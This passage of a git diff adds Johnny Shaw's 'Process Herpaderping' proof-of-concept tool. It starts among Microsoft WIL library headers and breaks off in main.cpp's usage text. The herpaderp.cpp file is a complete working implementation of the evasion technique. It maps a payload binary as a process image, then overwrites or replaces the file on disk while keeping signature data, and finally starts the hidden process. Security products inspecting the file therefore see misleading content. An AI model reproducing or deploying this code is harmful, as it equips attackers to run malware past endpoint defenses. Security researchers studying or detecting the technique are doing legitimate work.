(&__b)[_Np]) __WI_NOEXCEPT_(__is_nothrow_swappable<_Tp>::value) + { + wistd::swap_ranges_wil(__a, __a + _Np, __b); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + void + iter_swap_wil(_ForwardIterator1 __a, _ForwardIterator2 __b) + // __WI_NOEXCEPT_(__WI_NOEXCEPT_(swap_wil(*__a, *__b))) + __WI_NOEXCEPT_(__WI_NOEXCEPT_(swap_wil(*declval<_ForwardIterator1>(), + *declval<_ForwardIterator2>()))) + { + swap_wil(*__a, *__b); + } + + // __swappable + + namespace __detail + { + // ALL generic swap overloads MUST already have a declaration available at this point. + + template ::value && !is_void<_Up>::value> + struct __swappable_with + { + template + static decltype(swap_wil(declval<_LHS>(), declval<_RHS>())) + __test_swap(int); + template + static __nat __test_swap(long); + + // Extra parens are needed for the C++03 definition of decltype. + typedef decltype((__test_swap<_Tp, _Up>(0))) __swap1; + typedef decltype((__test_swap<_Up, _Tp>(0))) __swap2; + + static const bool value = !is_same<__swap1, __nat>::value + && !is_same<__swap2, __nat>::value; + }; + + template + struct __swappable_with<_Tp, _Up, false> : false_type {}; + + template ::value> + struct __nothrow_swappable_with { + static const bool value = +#ifndef __WI_LIBCPP_HAS_NO_NOEXCEPT + noexcept(swap_wil(declval<_Tp>(), declval<_Up>())) + && noexcept(swap_wil(declval<_Up>(), declval<_Tp>())); +#else + false; +#endif + }; + + template + struct __nothrow_swappable_with<_Tp, _Up, false> : false_type {}; + + } // __detail + + template + struct __is_swappable + : public integral_constant::value> + { + }; + + template + struct __is_nothrow_swappable + : public integral_constant::value> + { + }; + +#if __WI_LIBCPP_STD_VER > 14 + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_swappable_with + : public integral_constant::value> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_swappable + : public conditional< + __is_referenceable<_Tp>::value, + is_swappable_with< + typename add_lvalue_reference<_Tp>::type, + typename add_lvalue_reference<_Tp>::type>, + false_type + >::type + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_swappable_with + : public integral_constant::value> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_swappable + : public conditional< + __is_referenceable<_Tp>::value, + is_nothrow_swappable_with< + typename add_lvalue_reference<_Tp>::type, + typename add_lvalue_reference<_Tp>::type>, + false_type + >::type + { + }; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_swappable_with_v + = is_swappable_with<_Tp, _Up>::value; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_swappable_v + = is_swappable<_Tp>::value; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_swappable_with_v + = is_nothrow_swappable_with<_Tp, _Up>::value; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_swappable_v + = is_nothrow_swappable<_Tp>::value; + +#endif // __WI_LIBCPP_STD_VER > 14 + +#ifdef __WI_LIBCPP_UNDERLYING_TYPE + + template + struct underlying_type + { + typedef __WI_LIBCPP_UNDERLYING_TYPE(_Tp) type; + }; + +#if __WI_LIBCPP_STD_VER > 11 + template using underlying_type_t = typename underlying_type<_Tp>::type; +#endif + +#else // __WI_LIBCPP_UNDERLYING_TYPE + + template + struct underlying_type + { + static_assert(_Support, "The underyling_type trait requires compiler " + "support. Either no such support exists or " + "libc++ does not know how to use it."); + }; + +#endif // __WI_LIBCPP_UNDERLYING_TYPE + + + template ::value> + struct __sfinae_underlying_type + { + typedef typename underlying_type<_Tp>::type type; + typedef decltype(((type)1) + 0) __promoted_type; + }; + + template + struct __sfinae_underlying_type<_Tp, false> {}; + + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + int __convert_to_integral(int __val) { return __val; } + + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + unsigned __convert_to_integral(unsigned __val) { return __val; } + + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + long __convert_to_integral(long __val) { return __val; } + + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + unsigned long __convert_to_integral(unsigned long __val) { return __val; } + + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + long long __convert_to_integral(long long __val) { return __val; } + + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + unsigned long long __convert_to_integral(unsigned long long __val) {return __val; } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + typename enable_if::value, long long>::type + __convert_to_integral(_Fp __val) { return __val; } + +#ifndef __WI_LIBCPP_HAS_NO_INT128 + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + __int128_t __convert_to_integral(__int128_t __val) { return __val; } + + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + __uint128_t __convert_to_integral(__uint128_t __val) { return __val; } +#endif + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + typename __sfinae_underlying_type<_Tp>::__promoted_type + __convert_to_integral(_Tp __val) { return __val; } + +#ifndef __WI_LIBCPP_CXX03_LANG + + template + struct __has_operator_addressof_member_imp + { + template + static auto __test(int) + -> typename __select_2nd().operator&()), true_type>::type; + template + static auto __test(long) -> false_type; + + static const bool value = decltype(__test<_Tp>(0))::value; + }; + + template + struct __has_operator_addressof_free_imp + { + template + static auto __test(int) + -> typename __select_2nd())), true_type>::type; + template + static auto __test(long) -> false_type; + + static const bool value = decltype(__test<_Tp>(0))::value; + }; + + template + struct __has_operator_addressof + : public integral_constant::value + || __has_operator_addressof_free_imp<_Tp>::value> + {}; + +#endif // __WI_LIBCPP_CXX03_LANG + +#ifndef __WI_LIBCPP_CXX03_LANG + + template using void_t = void; + +# ifndef __WI_LIBCPP_HAS_NO_VARIADICS + template + struct conjunction : __and_<_Args...> {}; + template + __WI_LIBCPP_INLINE_VAR constexpr bool conjunction_v + = conjunction<_Args...>::value; + + template + struct disjunction : __or_<_Args...> {}; + template + __WI_LIBCPP_INLINE_VAR constexpr bool disjunction_v + = disjunction<_Args...>::value; + + template + struct negation : __not_<_Tp> {}; + template + __WI_LIBCPP_INLINE_VAR constexpr bool negation_v + = negation<_Tp>::value; +# endif // __WI_LIBCPP_HAS_NO_VARIADICS +#endif // __WI_LIBCPP_CXX03_LANG + + // These traits are used in __tree and __hash_table +#ifndef __WI_LIBCPP_CXX03_LANG + struct __extract_key_fail_tag {}; + struct __extract_key_self_tag {}; + struct __extract_key_first_tag {}; + + template ::type> + struct __can_extract_key + : conditional::value, __extract_key_self_tag, + __extract_key_fail_tag>::type {}; + + template + struct __can_extract_key<_Pair, _Key, pair<_First, _Second>> + : conditional::type, _Key>::value, + __extract_key_first_tag, __extract_key_fail_tag>::type {}; + + // __can_extract_map_key uses true_type/false_type instead of the tags. + // It returns true if _Key != _ContainerValueTy (the container is a map not a set) + // and _ValTy == _Key. + template ::type> + struct __can_extract_map_key + : integral_constant::value> {}; + + // This specialization returns __extract_key_fail_tag for non-map containers + // because _Key == _ContainerValueTy + template + struct __can_extract_map_key<_ValTy, _Key, _Key, _RawValTy> + : false_type {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 17 + enum class endian + { + little = 0xDEAD, + big = 0xFACE, +#if defined(__WI_LIBCPP_LITTLE_ENDIAN) + native = little +#elif defined(__WI_LIBCPP_BIG_ENDIAN) + native = big +#else + native = 0xCAFE +#endif + }; +#endif +} +/// @endcond + +#endif // _WISTD_TYPE_TRAITS_H_ diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wrl.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wrl.h new file mode 100644 index 00000000..a2a1e24f --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wrl.h @@ -0,0 +1,84 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_WRL_INCLUDED +#define __WIL_WRL_INCLUDED + +#include +#include "result.h" +#include "common.h" // wistd type_traits helpers + +namespace wil +{ + +#ifdef WIL_ENABLE_EXCEPTIONS +#pragma region Object construction helpers that throw exceptions + + /** Used to construct a RuntimeClass based object that uses 2 phase construction. + Construct a RuntimeClass based object that uses 2 phase construction (by implementing + RuntimeClassInitialize() and returning error codes for failures. + ~~~~ + // SomeClass uses 2 phase initialization by implementing RuntimeClassInitialize() + auto someClass = MakeAndInitializeOrThrow(L"input", true); + ~~~~ */ + + template + Microsoft::WRL::ComPtr MakeAndInitializeOrThrow(TArgs&&... args) + { + Microsoft::WRL::ComPtr obj; + THROW_IF_FAILED(Microsoft::WRL::MakeAndInitialize(&obj, Microsoft::WRL::Details::Forward(args)...)); + return obj; + } + + /** Used to construct an RuntimeClass based object that uses exceptions in its constructor (and does + not require 2 phase construction). + ~~~~ + // SomeClass uses exceptions for error handling in its constructor. + auto someClass = MakeOrThrow(L"input", true); + ~~~~ */ + + template + Microsoft::WRL::ComPtr MakeOrThrow(TArgs&&... args) + { + // This is how you can detect the presence of RuntimeClassInitialize() and find dangerous use. + // Unfortunately this produces false positives as all RuntimeClass derived classes have + // a RuntimeClassInitialize() method from their base class. + // static_assert(!std::is_member_function_pointer::value, + // "class has a RuntimeClassInitialize member, use MakeAndInitializeOrThrow instead"); + auto obj = Microsoft::WRL::Make(Microsoft::WRL::Details::Forward(args)...); + THROW_IF_NULL_ALLOC(obj.Get()); + return obj; + } +#pragma endregion + +#endif // WIL_ENABLE_EXCEPTIONS + + /** By default WRL Callback objects are not agile, use this to make an agile one. Replace use of Callback<> with MakeAgileCallback<>. + Will return null on failure, translate that into E_OUTOFMEMORY using XXX_IF_NULL_ALLOC() + from wil\result.h to test the result. */ + template + ::Microsoft::WRL::ComPtr MakeAgileCallbackNoThrow(Args&&... args) WI_NOEXCEPT + { + using namespace Microsoft::WRL; + return Callback, TDelegateInterface, FtmBase>>(wistd::forward(args)...); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + template + ::Microsoft::WRL::ComPtr MakeAgileCallback(Args&&... args) + { + auto result = MakeAgileCallbackNoThrow(wistd::forward(args)...); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS +} // namespace wil + +#endif // __WIL_WRL_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/herpaderping.sln b/Win32/Proof of Concepts/herpaderping/herpaderping.sln new file mode 100644 index 00000000..987fae08 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/herpaderping.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30104.148 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHerpaderping", "source\ProcessHerpaderping\ProcessHerpaderping.vcxproj", "{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x64.ActiveCfg = Debug|x64 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x64.Build.0 = Debug|x64 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x86.ActiveCfg = Debug|Win32 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x86.Build.0 = Debug|Win32 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x64.ActiveCfg = Release|x64 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x64.Build.0 = Release|x64 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x86.ActiveCfg = Release|Win32 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {8BCF228F-C80E-4F27-A67F-E76E9BCB83D2} + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj new file mode 100644 index 00000000..2a735eac --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj @@ -0,0 +1,204 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + + + + + + + + + + + + + + + + 16.0 + {25CB55EF-7944-4234-9D2A-4BE3B291BD7F} + Win32Proj + ProcessHerpaderping + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + $(SolutionDir)build\$(Configuration).$(PlatformTarget)\ + true + + + true + $(SolutionDir)build\$(Configuration).$(PlatformTarget)\ + true + + + false + $(SolutionDir)build\$(Configuration).$(PlatformTarget)\ + true + + + false + $(SolutionDir)build\$(Configuration).$(PlatformTarget)\ + true + + + + Create + Level4 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + MultiThreadedDebug + true + $(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories) + pch.hpp + true + false + + + Console + true + bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Create + Level4 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + MultiThreadedDebug + true + $(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories) + pch.hpp + true + false + + + Console + true + bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Create + Level4 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + MultiThreaded + true + $(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories) + pch.hpp + true + + + Console + true + true + true + bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Create + Level4 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + MultiThreaded + true + $(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories) + pch.hpp + true + + + Console + true + true + true + bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj.filters b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj.filters new file mode 100644 index 00000000..1d5bb440 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj.filters @@ -0,0 +1,34 @@ + + + + + + + + + + + + + res + + + res + + + + + {c0d5b2bf-b92e-4174-b0c8-967949174b21} + + + + + res + + + + + res + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/herpaderp.cpp b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/herpaderp.cpp new file mode 100644 index 00000000..e59b5436 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/herpaderp.cpp @@ -0,0 +1,436 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/herpaderp.cpp +// Author: Johnny Shaw +// Abstract: Herpaderping Functionality +// +#include "pch.hpp" +#include "herpaderp.hpp" +#include "utils.hpp" + +_Use_decl_annotations_ +HRESULT Herpaderp::ExecuteProcess( + const std::wstring& SourceFileName, + const std::wstring& TargetFileName, + const std::optional& ReplaceWithFileName, + std::span Pattern, + uint32_t Flags) +{ + if (FlagOn(Flags, FlagHoldHandleExclusive) && + FlagOn(Flags, FlagCloseFileEarly)) + { + // + // Incompatible flags. + // + return E_INVALIDARG; + } + + if (FlagOn(Flags, FlagWaitForProcess) && + FlagOn(Flags, FlagKillSpawnedProcess)) + { + // + // Incompatible flags. + // + return E_INVALIDARG; + } + + wil::unique_handle processHandle; + // + // If something goes wrong, we'll terminate the process. + // + auto terminateProcess = wil::scope_exit([&processHandle]() -> void + { + if (processHandle.is_valid()) + { + TerminateProcess(processHandle.get(), 0); + } + }); + + Utils::Log(Log::Success, L"Source File: \"%ls\"", SourceFileName.c_str()); + Utils::Log(Log::Success, L"Target File: \"%ls\"", TargetFileName.c_str()); + + // + // Open the source binary and the target file we will execute it from. + // + wil::unique_handle sourceHandle; + sourceHandle.reset(CreateFileW(SourceFileName.c_str(), + GENERIC_READ, + FILE_SHARE_READ | + FILE_SHARE_WRITE | + FILE_SHARE_DELETE, + nullptr, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + nullptr)); + if (!sourceHandle.is_valid()) + { + RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, + GetLastError(), + L"Failed to open source file")); + } + + DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE); + if (FlagOn(Flags, FlagHoldHandleExclusive)) + { + Utils::Log(Log::Information, + L"Creating target file with exclusive access"); + shareMode = 0; + } + + wil::unique_handle targetHandle; + targetHandle.reset(CreateFileW(TargetFileName.c_str(), + GENERIC_READ | GENERIC_WRITE, + shareMode, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr)); + if(!targetHandle.is_valid()) + { + RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, + GetLastError(), + L"Failed to create target file")); + } + + // + // Copy the content of the source process to the target. + // + HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(), + targetHandle.get()); + if (FAILED(hr)) + { + Utils::Log(Log::Error, + hr, + L"Failed to copy source binary to target file"); + RETURN_HR(hr); + } + + Utils::Log(Log::Information, L"Copied source binary to target file"); + + // + // We're done with the source binary. + // + sourceHandle.reset(); + + // + // Map and create the target process. We'll make it all derpy in a moment... + // + wil::unique_handle sectionHandle; + auto status = NtCreateSection(§ionHandle, + SECTION_ALL_ACCESS, + nullptr, + nullptr, + PAGE_READONLY, + SEC_IMAGE, + targetHandle.get()); + if (!NT_SUCCESS(status)) + { + sectionHandle.release(); + RETURN_NTSTATUS(Utils::Log( + Log::Error, + status, + L"Failed to create target file image section")); + } + + Utils::Log(Log::Information, L"Created image section for target"); + + status = NtCreateProcessEx(&processHandle, + PROCESS_ALL_ACCESS, + nullptr, + NtCurrentProcess(), + PROCESS_CREATE_FLAGS_INHERIT_HANDLES, + sectionHandle.get(), + nullptr, + nullptr, + 0); + if (!NT_SUCCESS(status)) + { + processHandle.release(); + RETURN_NTSTATUS(Utils::Log(Log::Error, + status, + L"Failed to create process")); + } + + Utils::Log(Log::Information, + L"Created process object, PID %lu", + GetProcessId(processHandle.get())); + + // + // Alright we have the process set up, we don't need the section. + // + sectionHandle.reset(); + + // + // Go get the remote entry RVA to create a thread later on. + // + uint32_t imageEntryPointRva; + hr = Utils::GetImageEntryPointRva(targetHandle.get(), + imageEntryPointRva); + if (FAILED(hr)) + { + Utils::Log(Log::Error, + hr, + L"Failed to get target file image entry RVA"); + RETURN_HR(hr); + } + + Utils::Log(Log::Information, + L"Located target image entry RVA 0x%08x", + imageEntryPointRva); + + // + // Alright, depending on the parameter passed in. We will either: + // A. Overwrite the target binary with another. + // B. Overwrite the target binary with a pattern. + // + if (ReplaceWithFileName.has_value()) + { + // + // (A) We are overwriting the binary with another file. + // + Utils::Log(Log::Success, + L"Replacing target with \"%ls\"", + ReplaceWithFileName->c_str()); + + wil::unique_handle replaceWithHandle; + replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(), + GENERIC_READ, + FILE_SHARE_READ | + FILE_SHARE_WRITE | + FILE_SHARE_DELETE, + nullptr, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + nullptr)); + + if (!replaceWithHandle.is_valid()) + { + RETURN_LAST_ERROR_SET(Utils::Log( + Log::Error, + GetLastError(), + L"Failed to open replace with file")); + } + + // + // Replace the bytes. We handle a failure here. We'll fix it up after. + // + hr = Utils::CopyFileByHandle(replaceWithHandle.get(), + targetHandle.get(), + FlagOn(Flags, FlagFlushFile)); + if (FAILED(hr)) + { + if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE)) + { + Utils::Log(Log::Error, + hr, + L"Failed to replace target file"); + RETURN_HR(hr); + } + + // + // This error occurs when trying to truncate a file that has a + // user mapping open. In other words, the file we tried to replace + // with was smaller than the original. + // Let's fix up the replacement to hide the original bytes and + // retain any signer info. + // + Utils::Log(Log::Information, + L"Fixing up target replacement, " + L"hiding original bytes and retaining any signature"); + + uint64_t replaceWithSize; + hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize); + if (FAILED(hr)) + { + Utils::Log(Log::Error, + hr, + L"Failed to get replace with file size"); + RETURN_HR(hr); + } + + uint32_t bytesWritten = 0; + hr = Utils::OverwriteFileAfterWithPattern( + targetHandle.get(), + replaceWithSize, + Pattern, + bytesWritten, + FlagOn(Flags, FlagFlushFile)); + if (FAILED(hr)) + { + Utils::Log(Log::Warning, + hr, + L"Failed to hide original file bytes"); + } + else + { + hr = Utils::ExtendFileSecurityDirectory( + targetHandle.get(), + bytesWritten, + FlagOn(Flags, FlagFlushFile)); + if (FAILED(hr)) + { + Utils::Log(Log::Warning, + hr, + L"Failed to retain file signature"); + } + } + } + } + else + { + // + // (B) Just overwrite the target binary with a pattern. + // + Utils::Log(Log::Success, L"Overwriting target with pattern"); + + hr = Utils::OverwriteFileContentsWithPattern( + targetHandle.get(), + Pattern, + FlagOn(Flags, FlagFlushFile)); + if (FAILED(hr)) + { + Utils::Log(Log::Error, + hr, + L"Failed to write pattern over file"); + RETURN_HR(hr); + } + } + + // + // Alright, at this point the process is going to be derpy enough. + // Do the work necessary to make it execute. + // + Utils::Log(Log::Success, L"Preparing target for execution"); + + PROCESS_BASIC_INFORMATION pbi{}; + status = NtQueryInformationProcess(processHandle.get(), + ProcessBasicInformation, + &pbi, + sizeof(pbi), + nullptr); + if (!NT_SUCCESS(status)) + { + RETURN_NTSTATUS(Utils::Log(Log::Error, + status, + L"Failed to query new process info")); + } + + PEB peb{}; + if (!ReadProcessMemory(processHandle.get(), + pbi.PebBaseAddress, + &peb, + sizeof(peb), + nullptr)) + { + RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, + GetLastError(), + L"Failed to read remote process PEB")); + } + + Utils::Log(Log::Information, + L"Writing process parameters, remote PEB ProcessParameters 0x%p", + Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters))); + + hr = Utils::WriteRemoteProcessParameters( + processHandle.get(), + TargetFileName, + std::nullopt, + std::nullopt, + (L"\"" + TargetFileName + L"\""), + NtCurrentPeb()->ProcessParameters->Environment, + TargetFileName, + L"WinSta0\\Default", + std::nullopt, + std::nullopt); + if (FAILED(hr)) + { + Utils::Log(Log::Error, + hr, + L"Failed to write remote process parameters"); + RETURN_HR(hr); + } + + if (FlagOn(Flags, FlagCloseFileEarly)) + { + // + // Caller wants to close the file early, before the notification + // callback in the kernel would fire, do so. + // + targetHandle.reset(); + } + + // + // Create the initial thread, when this first thread is inserted the + // process create callback will fire in the kernel. + // + void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva); + + Utils::Log(Log::Information, + L"Creating thread in process at entry point 0x%p", + remoteEntryPoint); + + wil::unique_handle threadHandle; + status = NtCreateThreadEx(&threadHandle, + THREAD_ALL_ACCESS, + nullptr, + processHandle.get(), + remoteEntryPoint, + nullptr, + 0, + 0, + 0, + 0, + nullptr); + if (!NT_SUCCESS(status)) + { + threadHandle.release(); + RETURN_NTSTATUS(Utils::Log(Log::Error, + status, + L"Failed to create remote thread")); + } + + Utils::Log(Log::Information, + L"Created thread, TID %lu", + GetThreadId(threadHandle.get())); + + if (!FlagOn(Flags, FlagKillSpawnedProcess)) + { + // + // Process was executed successfully. Do not terminate. + // + terminateProcess.release(); + } + + if (!FlagOn(Flags, FlagHoldHandleExclusive)) + { + // + // We're done with the target file handle. At this point the process + // create callback will have fired in the kernel. + // + targetHandle.reset(); + } + + if (FlagOn(Flags, FlagWaitForProcess)) + { + // + // Wait for the process to exit. + // + Utils::Log(Log::Success, L"Waiting for herpaderped process to exit"); + + WaitForSingleObject(processHandle.get(), INFINITE); + + DWORD targetExitCode = 0; + GetExitCodeProcess(processHandle.get(), &targetExitCode); + + Utils::Log(Log::Success, + L"Herpaderped process exited with code 0x%08x", + targetExitCode); + } + else + { + Utils::Log(Log::Success, L"Successfully spawned herpaderped process"); + } + + return S_OK; +} diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/herpaderp.hpp b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/herpaderp.hpp new file mode 100644 index 00000000..07aeed8b --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/herpaderp.hpp @@ -0,0 +1,73 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/herpaderp.hpp +// Author: Johnny Shaw +// Abstract: Herpaderping Functionality +// +#pragma once + +namespace Herpaderp +{ +#pragma warning(push) +#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target + ///

+ /// Waits for process to exit before returning. + /// + constexpr static uint32_t FlagWaitForProcess = 0x00000001ul; + + /// + /// Opens and hold the target file handle exclusive for as long as + /// reasonable. This flag is incompatible with FlagCloseFileEarly. + /// + constexpr static uint32_t FlagHoldHandleExclusive = 0x00000002ul; + + /// + /// Flushes file buffers of target file. + /// + constexpr static uint32_t FlagFlushFile = 0x00000004ul; + + /// + /// Closes the file handle early, before creating the initial thread + /// (before process notification would fire in the kernel). This flag is + /// not compatible with FlagHoldHandleExclusive. + /// + constexpr static uint32_t FlagCloseFileEarly = 0x00000008ul; + + /// + /// Terminates the spawned process on success, this can be useful in some + /// automation environments. Not compatible with FlagWaitForProcess. + /// + constexpr static uint32_t FlagKillSpawnedProcess = 0x00000010ul; +#pragma warning(pop) + + /// + /// Executes process herpaderping. + /// + /// + /// Source binary to execute. + /// + /// + /// File name to copy source to and obfuscate. + /// + /// + /// Optional, if provided the file is replaced with the content of this + /// file. If not provided the file is overwritten with a pattern. + /// + /// + /// Pattern used for obfuscation. + /// + /// + /// Flags controlling behavior of herpaderping (Herpaderp::FlagXxx). + /// + /// + /// Success if the herpaderping executed. Failure otherwise. + /// + _Must_inspect_result_ HRESULT ExecuteProcess( + _In_ const std::wstring& SourceFileName, + _In_ const std::wstring& TargetFileName, + _In_opt_ const std::optional& ReplaceWithFileName, + _In_ std::span Pattern, + _In_ uint32_t Flags); + +} diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/main.cpp b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/main.cpp new file mode 100644 index 00000000..3035140a --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/main.cpp @@ -0,0 +1,330 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/main.cpp +// Author: Johnny Shaw +// Abstract: Process Herpaderping Tool +// +#include "pch.hpp" +#include "utils.hpp" +#include "herpaderp.hpp" + +namespace Constants +{ + constexpr static std::wstring_view ToolHeader + { + WSTR_FILE_DESCRIPTION L" - " WSTR_COPYRIGHT + }; + + constexpr static std::array Pattern{ '\x72', '\x6f', '\x66', '\x6c' }; + + constexpr static size_t RandPatterLen{ 0x200 }; +} + +/// +/// Class for parsing and storing process herpaderping tool arguments. +/// +class Parameters : public Utils::IArgumentParser +{ +public: + constexpr static std::wstring_view Usage + { +WSTR_ORIGINAL_FILENAME L" SourceFile TargetFile [ReplacedWith] [Options...]\n" +L"Usage:\n" +L" 